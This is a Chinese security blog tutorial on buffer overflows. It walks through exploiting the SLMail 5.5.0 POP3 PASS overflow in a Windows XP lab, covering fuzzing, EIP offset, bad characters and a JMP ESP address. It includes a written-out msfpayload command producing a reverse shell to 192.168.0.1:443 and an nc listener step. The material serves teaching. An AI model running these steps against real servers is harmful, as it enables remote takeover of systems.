缓冲区溢出

admin 2017年8月4日15:49:25评论39 views字数 1435阅读4分47秒阅读模式

缓冲区溢出

1.原理通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或

使程序转而执行其它指令,以达到攻击的目的。

2.原因程序中没有仔细检查用户输入的参数,数据与代码边界不清。

3.危害成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。

4.发现漏洞

1. 源码审计2. 逆向工程3. 模糊测试

    向程序堆栈半随机的数据,根据内存变化判断溢出     数据生成器:生成随机、半随机数据     测试工具:识别溢出漏洞

windows缓冲区溢出1.实验环境

windows xp
服务端:SLMail 5.5.0 Mail Server调试工具:ImmuniDebugger脚本:mona.py漏洞利用编程:python

2.漏洞信息
POP3 pass命令存在缓冲区溢出漏洞,成功溢出后无需身份认证实现远程代码执行。

3.漏洞信息验证向服务端的110端口发送大量数据,依次增大数据的长度。判断字符长度大于2600时发生溢出。

4.精确定位溢出位置

1/2

2016/10/23 星期日 Untitled Document

利用python脚本生成长度为2700的唯一字符串。再次溢出服务器,通过EIP寄存器中的数据精确定位EIP溢出位置。判断EIP寄存器的精确溢出位置为2607。

5.寻找存放shellcode的内存空间

再次增大数据长度。将EIP的位置换成特定字符来验证前一步的结果。在EIP的位置后加入大量特征代码,寻找可以存放shellcode的内存空间。最后得出结果EIP后的数据全部溢出到ESP寄存器中,通过计算得出ESP寄存器中最多可以溢出419个字节的数据,可以存放shellcode。

6.检测坏字符
向ESP寄存器中溢出送0x00 —— 0xff 256个字符,来检测是否存在坏字符。检测得出0x00,0x0a,

0x0d是坏字符。7.重定向数据流

因为ESP的地址不固定,若想在不同的环境中溢出代码都可以生效,需要使用JMP ESP跳转至ESP。利用mona脚本在系统中搜索地址固定的模块中的JMP ESP地址,发生溢出时,先将EIP指向固定的JMPESP地址,通过这个地址空间的代码再次跳转至ESP寄存器,执行shellcode。

JMP ESP 的二进制编码为xffxe4
在mona脚本中使用!mona modules寻找系统模块,找到不收保护的且地址固定的模块后,再通过!mona

find -s “xffxe4” -m slmfc.dll在模块中寻找固定的JMP ESP地址。内存地址要求无DEP,ASLR保护,且不包含坏字符。查找到固定的内存地址后溢出测试是否能够正确的跳转至ESP。发送的数据中内存地址应与实际的内存地址相反。

8.生成shellcode

使用./msfpayload win32_reverse LHOST=192.168.0.1 LPORT=443 R | ./msfencode -b"x00x0ax0d"命令生成不带坏字符的shellcode,该shellcode执行后会反弹一个shell到本机的443端口。

9.完善漏洞利用代码
将JMP ESP的内存地址溢出到EIP的位置,将shellcode溢出至ESP的位置,在EIP和ESP的溢出代码之间

加上8个x90(nop)保证shellcode的完整性。

10.溢出打开nc监听本机443端口。对服务器进行溢出后,nc接收到反弹回来的shell。

转自安全牛课堂 

本文始发于微信公众号(飓风网络安全):缓冲区溢出

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年8月4日15:49:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   缓冲区溢出http://cn-sec.com/archives/358887.html

发表评论

匿名网友 填写信息